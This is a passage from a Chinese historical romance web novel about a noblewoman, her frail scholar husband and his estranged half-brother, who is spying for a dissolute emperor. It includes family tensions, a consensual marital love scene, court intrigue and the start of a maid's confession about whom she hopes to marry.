“鲤鱼、鲈鱼、青鱼都有,单看客人喜欢哪种。不过小的还是更推荐咱们楼里的鲤鱼脍,前儿刚钓来的黑鲤,个个肉肥味美。”因清蕴含着浅浅笑意,看起来温和,小二就多说几句。 听到这儿,清蕴看向几位,询问他们的意思。 两个年轻人没说话,齐国公先道:“你喜欢就点一份,但鱼脍寒凉,脾胃不好要慎食,少思尽量少吃。” 和清蕴说过话,绑在齐国公嘴上的封条就打开了,“你呢?” 他问的是李审言。 “我都行。”李审言漫不经心地回。 于是齐国公做主点了几道菜。 清蕴发现了,他们父子各有几副面孔,在建帝面前一种,同僚面前一种,家人相处时又是一种。 当时投壶,李审言主动来找她,还以为他是因和李家的恩怨想做什么。今天看,又恢复到了初见的模样,懒懒散散,对他们漠不关心。 李秉真呢,面上没流露什么不满,但席间基本只和她交流,偶尔展现出的一点温情,也是在为她夹菜剥虾。 好歹是聚餐,总不能一声不吭。齐国公想和儿子们尽量心平气和地说话,就往往先暗示清蕴,挑起话题,再问他们俩。 这顿饭吃下来,说话最多的竟成了清蕴。 周旋在几人之间,她都有些累了,须臾起身,含笑道:“我去看看那道樱桃煎怎么还没上。” 随着她身影转过门,最后一丝柔软的气息消失,阁子里氛围重归死寂。 齐国公左右看看,长子面无表情,小儿子眼睛长在了窗户边,重重叹了口气。 “我找你们来,也没想过能让你们培养多深厚的兄弟情,只是有些话想说明白。” 这顿饭之前,齐国公其实和他们各自长谈了一番,不然两人不会这么给面子地来,这时候也做出愿意听他说话的模样。 齐国公沉声,“有些恩怨,都是我们上一辈的过错,波及到你们,是长辈们无能。你们兄弟二人,本该是兄友弟恭,互帮互助。” 李秉真眼中闪过讽刺,李审言也轻嗤了声。 齐国公只当没看到、没听到,“如今成了这种局面,我和……已经和离,家里如今就剩下我们几人,就算不能和和气气,也不该像仇敌。一笔写不出两个李字,你们是打断骨头连着筋的亲兄弟,以后如果有难处,和睦些,总比抱着旧怨好。” “为父知道,你们各自心里都有成见,有怨气。但今后审言在府里常住,抬头不见低头见,不要总在家里闹出争端,若有不满,先来找我,可好?” 李秉真道:“不至于。” 李审言顿了下,“我还没那个闲心。” 齐国公点头,经过那些往事,他算是明白了,有些话一定得提前说清楚。这样不管他们内心怎么想,总有了相处的一套规则。 其他的,就看天长日久的相处了。 对齐国公的思量,李秉真怎么想,李审言不得而知,他心里唯有淡淡的讥嘲。 他的好父亲在对待家人的事上面,永远是这么天真。以前觉得自己能够娥皇女英共享,现在是指望他们兄弟按他的期盼相处。 若不是领了陛下的令,他难道以为,自己真会回齐国公府待着吗。 第36章 如果能适可而止就更好 走在人间的烟火气中, 确实能更开朗。清蕴喜欢静,但不是死气沉沉,看风景和看人的感受也截然不同。 经过炒货、熟食、酒水各式铺子,在一路香气中转入布满书局的长街, 清蕴问从刚才开始就没说话的李秉真, “父亲另外交待了什么吗?” “让我们相处和睦点。”李秉真看起来没兴趣继续聊这话题, 主动道, “不是说要挑书吗?就这家罢。” 这是家两层楼的书局,现在是吃饭的时辰, 店里只有三俩客人,主人家在摇扇打盹,还有个帮工,在角落看着客人们,不时上前答疑。 各式书本收纳齐全, 清蕴先到二楼找到琴谱这架, 认真挑了几本,回头发现李秉真不在身边,而是在角落处看得专注。 想了想, 又给白兰白芷挑些读本。 她们俩读书写字都是由她教导,现在已经能识得许多字了。 不是淘什么孤本珍品,清蕴没耽搁太久。她结账时,李秉真也顺势拿了两本, 问起来就笑答:“随便拿的话本, 回家可以一起看。” 店主人意味深长看了他一眼。 转到李家名下的珠宝阁, 先给白兰选了套金首饰, 再随意逛时,清蕴瞧中一对玉佩, 刚让人取出来,便有声音道:“我也想看看。” 挑目望去,姑娘面孔有些熟悉,稍微思量,名字就浮现在清蕴心中,柳阁老的小孙女,柳晚。 柳晚目不转睛盯着玉佩,大概看清蕴穿戴不俗,还算有礼,但也没那么客气,上下打量一圈,“我看它和你不是很相配,也是随手一拿,不如把玉佩先给我瞧。” 她身侧书生模样的文弱青年凑过来,小声道:“晚娘,要不咱们换一对罢。” 他观店里伙计都对这位夫人恭敬有加,料想对方身份不凡,起争执再被认出来就不妥。 “我就不。”柳晚哼声睨他,“你没瞧见吗?那上面一对儿虎兔,正合我们生肖。” 两人说话声没那么小,清蕴作为珠宝阁的半个主人,又清楚柳晚身份,当然不至于和她争,直接笑了笑,让伙计把玉佩送过去。 柳晚瞧她一眼,对她的识趣还算满意,“多谢了。” 清蕴听说过,她在家中一众孙辈中,最得柳阁老宠爱,脾气也最骄纵。亏得在这儿的不是李琪瑛,不然两人八成要闹起来。 不过,却是没听说她有和人议亲。目光不着痕迹在青年身上绕了圈,最后选一对红宝石耳坠,清蕴再去和李秉真会合。 没提刚才那件插曲,挑了个伙计让他把采买的东西送回国公府,俩人又在街上溜了几圈,再回家。 与大长公主府隔开后,国公府小了许多,被引进府邸滋养花草的小溪落在对面,幸而那片竹林就在月舍附近。 清蕴最喜欢在竹林附近的亭子里坐着。 李审言住处另选了块地方,和太夫人离得近。不便之处在于,要从府门前走回月舍,必得经过他前方的走廊。 他们逛得久,李审言早就回了,正在檐下抱剑擦拭,听到动静敏锐地抬首,视线转了圈,漠不关心收回,关窗。 不愿搭理人的意思溢于言表。 李秉真目不斜视,清蕴则是瞧见他门外的小厮,走慢了两步。 小厮领会她脸色,立刻知机跑过来,“你叫什么名字?是管家把你安排来的?” “回世子夫人,小的名叫阿宽,正是周管家派来的。安排小的留在二公子身边,帮忙牵马跑腿干活儿。” “只你一人?” 阿宽人如其名,有张宽阔的脸,此刻露出难色,五官挤在一块儿,像团皱巴巴的苦瓜,“本来还有个丫鬟伺候二公子起居,二公子说了,他不要丫鬟,所有的活儿都让小的一个人干。” 清蕴点头,“你辛苦了,本来给丫鬟的月钱也发给你,去和周管家说,就说我应下的。” 苦瓜舒展开,阿宽极为高兴地应了声,顿时有了精气神。 “以后若是二公子有什么要求,你和周管家不好把握,可直接来月舍找我。” 阿宽很懂,如今府里中馈都由世子夫人掌控,捏的就是他们这些下人命脉。世子和二公子不对付,夫人定是叫自己盯着二公子,有异样就赶紧报过去呢。 既是个亲近主子的好机会,又能多拿赏钱。先前被嫌弃的事顿时成了好活儿,阿宽笑眯眯又应声。 看他脸色,清蕴就知道想多了,也没点破,让人继续回去守着。 李秉真在前面两步等她,也不多问,回到月舍,让她先去净房洗漱,自己则帮忙把那些琴谱摆放好。 夫妻俩都不是时时刻刻要人伺候的,譬如今天在外用了晚饭,服侍的人就只需要备好热汤,再留个守夜的就行。 他们回得晚,清蕴沐浴前天边还有些许霞光,出来时窗外就已成溶溶月色,夜风经处,草叶摇动,泛出圈圈银色涟漪。 她站在窗边赏了会儿月,再在明镜台前打理好自己,回榻时发现榻边小桌显眼处摆了两本书,看封皮正是李秉真今日挑的。 摆在这儿给她解闷?清蕴随手拿起,看了几页后,“……” 哪是什么话本,称为文字版避火图更合适。 原来他当时聚精会神看的是这些,亏他一路都表现得兴致寥寥,她还以为李秉真被聚餐搅了心情,特意带他在街上多逛两圈。 结果是他心思根本不在逛街。 面色微烫,清蕴依旧借着灯光把书看下去。 看故事情节,这是本富商之女出门游玩,偶遇俊美书生,二人一见钟情、再见倾心,三见……便爱意难止、烈火干柴的故事。 抛开合理性不谈,描写两人在桃花林中深入交流时,遣词造句香艳而不落低俗,又句句到位,让人浮想联翩。 清蕴认真看着,忽然被拍肩,瞬间把书合上,回头撞进李秉真眼眸,在其中看见了自己白里透红的脸颊。 “……我刚打开。” 欲盖弥彰的模样让李秉真点点头,“我还没来得及看呢,是什么故事,精彩吗?” 清蕴:“……”分明在书局都看了大半。 李秉真低低笑出声,凑到她身边,展开书,翻到其中一页,“昨夜我们都试错了方法,原来要先这么做。” 一个个字仿佛沾了火星子,烫人得很,清蕴强装沉静,“这也只是话本,可信吗?” “应当可信,我翻了好些,做过比对,当属这两本最合适。” 不看书的内容,光听他的话,还以为李学士又发现什么大作。 清蕴实在不知该说什么,一句“我先歇了”就躺上床榻,背对着他。 没过几时,屋内灯光暗了大半,有人掀开锦被,一只手抬过来,将她的脸捧起。 这些亲昵,他们已经很熟悉了,清蕴渐渐放松下来。 直到那只手探过去,和以往轻柔的动作不同,还在往深处探索,即便是清蕴也不由紧张,身体僵硬。 “放松些。”李秉真低低的声音贴在耳畔,“会舒服的。” 他说着,竟整个人钻进被中,察觉到他一直往下,清蕴的惊声还没出口,就全被他的动作止住了。 慢慢的,转换成另一种声音。 她觉得奇怪,伸手捂住,却被李秉真腾出的一只手按在了枕上,那些不成调的声顿时从口中逸出。 清蕴想咬唇止住,可当李秉真故意加快动作,有些感受就完全没法强行忍住。 她整个人化成一滩水,又好像在滩涂不停挣扎的鱼,只能听到自己的剧烈喘息。不一会儿,李秉真的气息也重新出现在耳畔。 他拿起杯子喝了口水,也没再问,因为他已经很清楚她完全准备好了。 但清蕴在这种事上还是容易害羞,而他很喜欢听她的声音,便提前把她双手交握按住,吻掉沁出的一颗汗水,沉身。 两人都紧绷了一瞬,而后再渐渐感受到彼此,感受到其中的快乐。 这会儿,李秉真反而慢下来了,很温柔,也很折磨人。 但清蕴不知他是因身体之故没法太快,还是喜欢这样,总之不好问出口,被他这种温吞方法弄得几乎哭出来。 一回结束,她稍微松了口气,没想到李秉真稍作休整,又来了第二回 。 这真是平时多走两步就不舒服,迎风咳嗽的世子吗?她内心很想问,最终还是和他一起失了所有力气,在榻上休整许久。 直到他拿来打湿的巾子,才起身大致擦了遍。 重新躺进被褥,李秉真眼角眉梢,都透着与以往不同的愉悦。 他拿出了精益求精的态度,抚了会儿清蕴的发,轻声问她:“我方才表现,可有让你失望?” “……”清蕴不算委婉道,“如果能适可而止就更好。” 她不是很适应那种失控的感觉。 李秉真微微一怔,继而失笑,“我就当夫人在夸我,对不住,实在是你叫得……” 轮到他的嘴被捂住,清蕴瞪人的眼在此时妩媚且撩人,她却不自知。李秉真感受到熟悉的冲动,但自知确实要量力而行,强行压了下去,安慰她,“没事,只有我们两人,多说些又有何妨?” 他想让清蕴交流真实感受。 耐不住他缠着问,清蕴只能含糊说:“我也很舒服。” 随后低声夸了他一句。 李秉真的笑意愈发止不住,又亲昵了会儿,被她提醒明天要去翰林院,总算消停下来。 大概因为这两次睡前交流,两人这晚睡得格外沉,都没在中途醒过。 清蕴睁眼时,李秉真已经洗漱好出门了,白芷进门服侍她。 昨夜也是白芷守夜,单独给清蕴梳发髻时,她忍不住道:“昨夜主子可是不舒服?要叫大夫吗?” 主子声音不大,等她意识到的时候感觉人好像在哭,但里面没有传唤,她也不敢随意进去,后来又听到世子哄人的声音,便想着可能是做噩梦了。 至于那些听不懂的声音,白芷觉得,可能是撞到哪儿了。 清蕴耳梢又热了下,“没事,不用叫。” 原本她习惯了有人守夜,但经过了昨晚,意识到今后每次行房事都可能有人在听,就很不好意思。 她想,下次不能再让李秉真扣住手了。 还有,那两本话本也得放起来。里面的花样太多,她昨晚看了前面几页,就发现李秉真已经用上了,不知后面还会有什么情节。 他身体弱于常人,在这种事上总要节制些。 想到这儿,清蕴顺理成章地把话本锁进了箱柜最下层。 “现在什么时辰?” “快巳时了。” 摸算着日子,清蕴道:“那就去向太夫人请安罢。” 自从两府分隔,她早晨还没单独向太夫人请过安,如今最疼爱的孙子常回来住,她应当会好很多。 第37章 “臣对这些女人没兴趣。” 清蕴被引进太夫人院子时, 老太太正在用早饭。 随着女使打起帘子,陪在她身旁的那道身影变得清晰,正是李审言。 清蕴走进门,他撩起眼皮扫了下, 继续盛粥。 太夫人一惯捏在手里的佛珠串被取下, 淡漠的神色变得温和, 问清蕴, “吃过了没?” “孙媳用过了。” 太夫人心情颇好,“那就坐下, 说说话。” 不过是四方小桌,落座的话,若非捱着李审言,就是在他对面,清蕴干脆没坐, 转而帮忙布膳。 这不是她头次这样做, 太夫人也清楚长孙媳妇孝顺知礼,笑了笑,视线转回小孙子。 李审言见状, 腾出手来,拾起筷子。 他吃东西利落而迅速,不见怎么动作,桌上三碟包子、两碗粥并一盘豌豆糕就下了腹。说不上粗鲁, 但也绝对不能称优雅, 和李秉真、王宗赫这等世家子弟风格迥然不同。 太夫人深觉他在皇帝身边当差辛苦, 心疼不已, 让下人们再添些点心。这回,李审言动作就慢了下来。 “之前你在外头住的时候, 身边不是还有个陛下赐的人,怎么没有带回来?” “人家嫌弃我官阶低、俸禄少,不愿伺候,回家去了。” 太夫人摇头,当然不信这话,“管家给你分去女使,怎么也不要呢?身边就留个小子伺候,够吗?” “不需要。”李审言顿了下,“我不喜欢那些柔弱、整日哭哭啼啼的女人。” 一句话出来,在场人听出两个意思。 太夫人想到李审言的生母,那孩子就是典型的弱女子,温柔似水,人也宛如水做的一般,哭起来泪涟涟的模样惹人怜惜。 审言是对他生母仍有怨。太夫人内心忧虑。 清蕴则忆起她曾在大长公主面前落泪,恰好被李审言撞见。因和他不熟,也知晓他在国公府地位,不曾斟酌这位小叔子的神色,现在想来,当时他确实是讥讽无疑。 不过,她从来不觉得适当示弱有什么不妥,李审言的看法,也与她无关。 太夫人招手,候在外面的阿宽忙颠颠跑了过来。 “你叫什么名儿?从前在哪里伺候?” 阿宽一一道来,随后被问及年龄、家人、是否识字等问题,也都答了。因对答流畅,有股机灵劲儿,太夫人看起来还算满意。 清蕴静看着。 来国公府这么久,她第一次见这位祖母如此操心的模样。李秉真病了,只能得她一句事后问候。李审言身边一个伺候的小厮,她却恨不得了解其祖上八代事迹。 当着自己的面特意问,肯定也是知道她如今执掌中馈,有意彰显对李审言的重视,敲打她这个孙媳。 人心总是偏的,清蕴理解,却不能赞同。就像她此刻,也在为李秉真不值。 桌上碗筷轻微的磕碰声不知何时消失,唯剩太夫人和阿宽的问答声。清蕴垂手站在太夫人身侧,如安静的壁画,没发表任何看法。 阿宽却主动提起她,“老祖宗宽心,早在派去二公子身边时,世子夫人就已经吩咐过了,让小的务必用心伺候。二公子若有要求,尽管照做,遇到难处就去寻她。” 太夫人、李审言皆望过来,清蕴顿了下,“这是应该的。” 太夫人很欣慰,“考虑周到,怪不得你父亲令你管家。既然这样,我也不必多说什么了。” 她就是怕因长孙的缘故,孙媳也和原来的儿媳一样,处处针对审言。如今看来,果然是个知书达理,懂得顾全大局的好姑娘。 说完,令人取出两枚平安扣,分别递给面前两人,说是给孙子们特制的,放在佛堂诵经供奉了八十一日。 光看玉质,细腻如脂,品相上佳,确实费了心思。清蕴代李秉真接过,听太夫人又道:“我听你父亲说过了,你如今虽然得陛下新任,任旗手校尉,但……” 有一众仆妇在,她把不该说的话咽回,“到底和你从前期盼不同,你父亲另有想法,得了空闲,就去和他说说话。” 李审言应了声。 整个国公府,大概只有太夫人能让他这么迁就,再不情愿的事也不会直接拒绝。 各自嘱咐完,太夫人照常要去礼佛,终于让两人离开了。 从太夫人这儿回月舍,必得经过同一条游廊,清蕴有意走慢些,任李秉真越过十来步,再恢复正常步伐。 游廊连通内外两院,经过花草丛生的庭院,快到分路口时,清蕴远远就瞧见临大门前附近有人牵马等候。 那马儿外形不算健硕,身上还有几道极明显的伤疤,尾巴仅剩半截,不算美观。 李审言大步走过去,抬手抚了抚马身,从袖中取出饴糖。马儿卷走糖,温顺地打了个响鼻,凑近他身前贴了下。 一人一马互动了会儿,李审言再一跃而上,驾马离去。 他有事去办,阿宽则被令留在家中,见清蕴多瞧了几眼那匹马,笑道:“夫人不认得这匹马罢。” 清蕴适时投来目光,阿宽立刻微微挺胸,殷勤解释,“当初江南一带起义,二公子只身混进平乱大军,从一介小兵到先锋校尉,就是被分得的这匹马。马儿名叫阿蛮,据说陪着二公子出生入死、忠心耿耿。当初二公子负伤回京,一进城就昏倒了,就是阿蛮带着他在城内到处跑,冲进药房抢药,公爷发现后,才把人带回府。” “所以呀,二公子对阿蛮格外器重,但凡是短程路,都会带上它。平日里得闲了,还会亲自给它刷洗,陪它到郊外去散心。” 动物有灵性,清蕴知道,但像阿蛮这样聪慧通人性的,在身边还是少见。 此前她听李秉真说过往,提起李审言随军,那时宛如听故事,到这儿才有了真实感。 如果大长公主没有出手,他和阿蛮也许都会是人人景仰的平乱将军。 清蕴回到月舍。 上次去王家,因王宗赫故意试探,她没有说出那枚印章的事,听他交代了那几句话就分开。 前天,王宗赫托人送来一封短信,言简意赅地表示他对那日所说之事已经有了解决方法,令她不必担忧。 具体做法没有提及,清蕴也不深究。 倒是其中话语的微妙区别,让清蕴陡然意识到,他现在已经正式步入官场。 那枚印章……如果去问外祖父王贞,不一定能得到答案,或许可以告诉他。 定下主意,清蕴把印章放进信封,决定等陈危随齐国公回府,让他送过去。 连着处理好几件事,日头仍未至正中,浮云游走,悠闲而惬意。 清蕴半倚在窗边,仰首沐浴阳光,长发轻飘,与窗下斜生出的一朵芍药共舞。 她低头瞧了眼,取来喷壶,给芍药浇些水,难得起了惫懒心思,决定在午饭前先歇个晌。 ** 李审言先去办了几件事,在外面小店用了顿饭,再往宫里走。 皇宫内不允许骑马,他牵马步行,经过一条狭长宫道。 长道无声,两侧红墙高耸,唯有他和马儿在其中慢慢行走。 他不说话,马儿也很安静。 如此走了程子路,在边上等候的小公公出现在眼前。 小公公和他已很熟,得了赏钱,在李审言开口前道:“李校尉放心,奴婢省得,定会用最好的草料,再帮蛮大爷仔细刷洗一番。” “刷洗不必了。”李审言道,“它脾气大,你们按不住,回头我自己洗。” 小公公领命,看着李审言拍了拍马儿离去,回头对阿蛮感慨,“李校尉伺候你还真是用心。” 解下兵器,李审言被引至建帝身前时,他正在御花园陪李贵妃赏戏。 并非钟鼓司排出的戏剧,而是一群貌美宫女在御花园内摘花扑蝶,供两位贵人观赏。 无需细想,便知是谁的主意。因为建帝看着看着,便抛下同坐的李贵妃,与宫女嬉戏去了。 算上刚被诊出喜脉的一月多身孕,李贵妃这胎怀了五个月,按理来说应该要显出孕状。可从远处看出,她身量依旧纤细,唯独小腹微微凸起,面色也极为苍白。 瞧见李审言来,她微抿唇,脸色愈发不好。 未等建帝回身,就远远道:“臣妾先回承乾宫了。” 建帝漫不经心摆手,李贵妃离开,场中便只剩李审言围观。 他这一看,就看了小半个时辰。宫女当中起初有人十分惊喜,以为可以趁机得宠,欢笑着和建帝嬉戏。 但她们很快发现,陛下纯粹是享受追逐的过程,抓到一人后往往不作停留,而是让她们继续躲避奔跑。如此下来,都被累得汗如雨下、气喘如牛,脂粉早被汗水浸透。 有人装作体力不支伏倒在地,发现陛下不曾在意,干脆往地上一趴。其他人有样学样,渐渐的,御花园倒了满地宫女,引得建帝哈哈大笑。 建帝玩闹够了,也很尽兴,吩咐每人赏十两银子,大踏步回身。浑身薄汗不舒坦,就往乾清宫去。 李审言默不作声跟上。 瓦剌部形势未明,朝堂局势正乱,观建帝模样,对这些似乎丝毫不上心,反而有兴致玩乐。 李审言刚注意到,万云身边的小太监手捧瓷壶,正是建帝常用来服用寒食散的温酒壶。 回到寝宫,建帝任人服侍解开外袍,仅着中衣,赤足坐在位上喝凉茶,听李审言禀报了几件事,也不怎么上心,反而就寒食散发表了看法,“这方子果然不一般,朕每每服用,都感觉浑身燥热难耐,精力无限。你当真不愿试试?朕已经让太医改良过,绝无坏处。” 李审言道:“陛下知道臣的体质,本就血气过盛,太医让臣时刻注意着,连温养的药物都不能服用。” 他的回话,难免有暗喻建帝气虚之嫌。不过建帝早习惯他口直嘴笨,对此不以为忤,“你就是年轻,血气方刚,至今身边也没个人伺候,常年如此憋着,哪能不难受?朕之前赏给你的美人呢,不喜欢?” 他显然知道云生已被李审言遣走的事。 李审言用了同样的说辞,“她对臣不满意。” 建帝哈哈笑两声,“怕不是你对她不满意罢!朕赏给你的虽不是绝色美人,却也温柔可人,你连享用的兴致都没有?到底是要求过高还是……?” 建帝知道,有些人看着威武强壮,实则雄风不再,简称中看不中用。李审言被他那位好姑母迫害这么些年,二十三了也没尝过女人滋味,不会真是出问题了罢? 目光往隐秘的地方瞄,李审言察觉到了,出声,“臣对这些女人没兴趣。” 这些女人没兴趣?建帝听懂他的言外之意。 云生这类美人是他用来款待赏赐臣子的,李审言在这方面,莫不是和那些满口伦理纲常的文人一样,只会碰自己的妻妾不成?还是找借口掩饰? 不过,李审言纹丝不动,毫无紧张感,建帝也就失了打趣的心思。 他就是恶劣的性子,别人躲,他会有兴趣。一旦主动迎合,反而没了滋味。 所以近些天得的那几位美人,那娇蛮、泼辣的性子都叫他欲罢不能,得知她们身份后,更为兴奋。 如此夜夜笙歌,他险些忘了今夕是何年。可惜李贵妃太扫兴,一来就是劝他明日去上朝。 蒙古之事自有内阁决定,他最后拍板同意就行,倒叫她一个身怀六甲的贵妃操心。 但贵妃的意思不一定来自她自己,还有可能是他那位好姑母。 想到这儿,建帝晴朗的神色转瞬变阴,“你住回国公府,可有察觉什么?” “时日太短,臣暂时什么都没发现。” 建帝颔首,“其他事就先放一放,多在府里待着,两边都要探一探。” 齐国公主动请辞,建帝调查了过后,打消了小半的警惕,但没有完全放下,还有些怀疑夫妻俩和离是故意做戏,所以派李审言回家居住。 至于李审言有没有可能和齐国公李德暗地同心,建帝并不担忧。从锦衣卫探查的消息,及他这段日子对李审言的了解来看,此子对李家深恶痛绝,绝不会把自己当成李家人。 他都有些不知自己是期待齐国公老老实实,还是心存异心了。 假如他老实,自己可以安心。但假如他暗地有筹谋,却被小儿子一手揭发,脸上会是什么神色? 建帝忽然问:“李秉真呢?” “确实体弱,府里常住着两位大夫,随时给他看诊。” 建帝嗯了声,这点他还是确信的。以往太医去国公府为李秉真诊治,回来也会向他禀报一番。 “他和夫人又如何?” 不防建帝问到这个,李审言内心怔然,面上如常道:“夫妻伉俪情深。” 应当可以这么说。毕竟他那位对所有人都一视同仁的兄长,唯独会在新婚夫人面前流露不同。 陆清蕴在国公府备受赞誉,但在李审言看来,她和李秉真几乎是同一类人,尤其是面上那层虚假的温和,看起来就像令人厌恶的面具。 他不喜欢装模作样的李秉真,对这个几乎同类型的名义上的嫂嫂当然也喜欢不到哪儿去。 没想到,陛下竟似乎有几分兴趣。 建帝想听的,当然不是这个。每每想起陆清蕴的容貌身份,他确实意动,那股聪明的劲儿也很吸引人,可惜性子太稳了,很少会慌张。 假如使手段强行得到了,恐怕也能迅速接受,而不会哭哭啼啼、寻死觅活。 那样总少了番乐趣。 而且,如果齐国公和大长公主是当真和离,两人也能慢慢放下兵权,他倒没必要太不给姑母面子。 建帝微微一笑,“朕知道,做个护卫的活儿对你来说屈才。这段时间就常待国公府,办好了这件差事,朕对你另有重用。” 第38章 今宵绝胜佳人共 在乾清宫待了两个时辰, 李审言牵马离宫。 因心里存了事,他没注意路,习惯性往卫所方向去,到城门前被守卫认出, 笑道:“李校尉, 这个点了还出城呢?” 李审言回神, 摇摇头, 在守卫疑惑的目光下往回走。 万家灯火燃起的时辰,行人渐稀, 青烟四起。走着走着,李审言驻足望向天幕,远处霞光隐去,转成一条狭长的白线。 停顿了会儿,阿蛮拱他手臂, 李审言唇畔闪过一丝极淡的笑, “你还是这个急性子。” 阿蛮打个响鼻,像在哼声。 他继续迈步,眼前忽然出现熟悉的马车, 双目一动,身体下意识在隐蔽处观察。 李秉真被人恭送出店,紧随其后的伙计则将锦盒双手奉至藏翠手中。 这个人李审言识得,是京中有名珠宝阁——明妆的掌柜, 向来眼高于顶, 只在面对达官贵人时有笑脸。 掌柜无疑识得李秉真身份, 恭恭敬敬地用袖口扫了扫车沿, 再请其上车。李秉真则微微一笑,似乎说了些什么, 掌柜连连点头。 两人对话的当口,李审言视线在几人身上来回游走,确定只是简单地买东西,笔挺身姿渐渐变得散漫,微倚着阿蛮。 皇帝其实不喜欢太过聪明的人,他在相处中慢慢琢磨出了这点,所以和那位相处,偶尔要做出蠢笨模样讨其欢心。 少年时也许会觉得屈辱,在经历那些事后就能明白,尊严是最无用的东西。 不过,有句话他没有骗人,对于这位血缘上的兄长,他确实没什么深恶的仇恨,虽然不喜欢李秉真温文尔雅的伪装,但止步于不喜欢,有时还会觉得,对方也不过是个可怜人。 他最厌恶的,首先是李德,其次是大长公主杨淑容。 不紧不慢地跟在马车后,过了一刻有余,天幕完全转暗,夜色渐明,齐国公府大门出现在眼前。 明亮灯笼散出黄澄澄的光,既照亮门前石阶,也映得步出大门的女子面容生辉,衣袂随风轻摇,宛若月下仙子。 她确实有副好相貌。所以刚进门时,就引得一些仆妇私下感慨,又因会收买人心,迅速获得一众赞誉。 连那样挑剔的杨淑容,都忍不住对她温言细语,偶有责怪,也会在她的泪水下心软。 李秉真颇为讶然地迎去,口中说着什么,无非是些“怎么出门迎我”“当心风大”之类的话。 两人站在一起,确实像那些人评价的那样,一对玉做的璧人。 李审言摇着懒散的步伐,现身朝大门走去。 …… “是李审言。”清蕴低语,身侧李秉真抬首,淡淡掠去一眼,朝来人点头。 夫妻俩没作停留,简单示意后就抬步朝内院去,任身后视线远去。 步入甬路,草木清香、虫鸣以及天际逐渐显现的星子,都在让两人速度变慢,左右自觉保持距离。 “这是夫人第一次到门前接我。”李秉真轻声道。 听出他语中惊喜,清蕴慢声,“你如果喜欢,今后每天都接。” 李秉真摇头,他不是需要妻子这种等候来点缀自己的人,只是感到高兴。 他看得清楚,清蕴嫁进国公府后所做一切,大都是向“温柔”“贤淑”“知礼”等词靠近,对自己也是敬重有余,真正的男女之情难寻。 所以今夜这小小的主动,格外让他欣慰。 抬手拍了下那脑袋,得见清蕴明亮中含着些许疑惑的目光,李秉真怡然,“今夜想小酌几杯。” 他平时不能饮酒,真正能喝的,就是张颖特制的药酒。 味道比不得真正的佳酿,偶尔想抒怀时,也可来上几杯。 清蕴想想,应了。 备上十余小菜,药酒,葡萄酿,仅夫妻俩对饮,也玩起飞花令来。 正是因只有他们俩,对飞花令的玩法就未曾拘泥形式,不拘位置,不拘“花”字,可随意以星月江河为令,罚酒后出题者为先,既能背诵名篇诗句,也可自己作诗,十分自由。 玩着玩着,竟又成了诗句接龙。 虽然清蕴喜爱看书,才华不浅,但李秉真毕竟整日混迹翰林院,整日琢磨诗词文章,总能“不小心”胜她一筹。 不知不觉快饮尽两壶,清蕴感到眼前渐出重影,不由斜手撑额,水亮的桃花眸微眯,懒懒想了半晌,“妙用何曾间古今。” 李秉真思索,“今我作夜游,千载当隗始。” “五言对七言,不可。”清蕴笑吟吟,“世子,饮酒。” 她双目含嗔,发髻微松,斜斜露出金钗,尽态极妍,令李秉真不由自主地心跳微快、血脉偾张,几乎是眼也未眨地欣赏着只有他能瞧见的美人、美景、美情。 “是该我喝。”他道,随后将盏中酒一饮而尽。 放盏时,清蕴竟已含笑闭上眼,撑腮小憩起来。 李秉真又看了会儿,不自觉露出笑意,看着她慢慢从臂间滑落,伏倒在桌,一副不胜酒意的娇憨模样。 这倒是少见。 “夫人。”他轻唤一声。 无反应。 “猗猗。”他又唤。 依旧无声。 李秉真起身,略晃了两下,才发现自己饮了几杯,竟也有酣意。 或许是酒不醉人,人自醉。 他上前抱起清蕴,放入床榻,再转身合窗。 月隐中天,星光大盛,李秉真看着,不由浮现出他刚才想到的第一句诗,“今宵绝胜佳人共,卧看星河尽意明。” 但若是接出这句,就无法得见她含笑催酒的娇态。 想到这儿,李秉真也不由怔住。 李少思啊李少思,何时起,你想的也尽是这些了。 他笑了下自己,没唤女使,自己打湿巾子,帮清蕴解去外袍,擦过脸、颈、手、足,途中还被她不轻不重地拍了下手,似是不耐烦。 李秉真毫不在意,自行洗漱后归榻,对上清蕴睡成一道粉霞的面颊,终是忍不住轻吻了下。 怕自己在她熟睡时做出不合时宜之举,李秉真没有往下,蜻蜓点水后就分开。 “好梦,猗猗。”他低声道。 ** 鸟雀啁啾,清蕴悠悠转醒,完全不记得自己如何上榻,如何入睡,唯有李秉真温柔的目光一直在记忆中浮现。 坐起身,长发随之散到身侧,隔着屏风,隐约瞧见李秉真的身影。 藏翠正在轻手轻脚地服侍他穿衣。 她弄出动静,李秉真很快转过来,“可有头疼?” 清蕴摇头。虽然喝了两壶,但半酣的感觉正好,只是一夜好眠,没有其他影响。 “那就好。”李秉真道,“今天是讲学的日子,需得早些去,朝食就不能一起用了,我尽量早些回家。” 说完,示意她之后记得去明镜台前察看,低头吻她发顶,再转身离去。 起身到窗边,看着他走出小院,穿过甬路,身影在廊下消失,清蕴再转至明镜台,一眼就看见那精美的绸缎盒。 轻轻打开,里面正躺着一对莹润的珍珠耳坠,通体呈淡紫,硕大饱满,令人一见便忍不住喜爱。 伸手抚过,清蕴决定,今日便挑一身和这对珍珠耳坠相配的衣衫。 她出声唤人,入内的正是白兰白芷二人。 月舍虽有六名女使,但贴身服侍的一般仍是她们俩,春夏秋冬四女很少入内室伺候。 洗漱净面,换好衣裳后,白兰给她梳理发髻,清蕴道:“再过半月,就是你生辰了罢?” 白兰笑道:“正是,夫人每年都记得呢。” 对于身边重视的人,清蕴都会很细心。 镜中望去,身后白兰已出落得亭亭玉立,清秀可人。 想到她今年已有十八,按照建朝习俗,有些事不可避免,清蕴自然而然问:“此前你说家乡有过了十八再定亲的习俗,如今可有什么打算?” 白兰未签卖身契,但跟随她这么久,她自然不会忽略这种大事,也不会因用惯人而强留。有些事若故意忽略,或不予重视,反而容易招来麻烦。 动作慢下,白兰轻声道:“我们一家是逃难来的京城,这些年好不容易在这儿站稳脚跟,也不认得什么人。娘的意思是,在左邻右舍中为我找个熟人,若看中了,便定亲,嫁得近,还方便照顾。” 这个做法很容易理解。清蕴颔首,见白兰仍有话说的模样,便没有开口。 白兰继续道:“可我不想。” 轻轻转动眼眸,清蕴问,“那你是……?” 白兰欲言又止,面色犹豫,做了许久的心理准备,终于在清蕴温和的目光下道出想法,“其实我早有心仪之人。” 听到这儿,调弄脂粉的白芷眼皮微微一跳,不知想到什么,心中有不好预感,抬头望向两人。 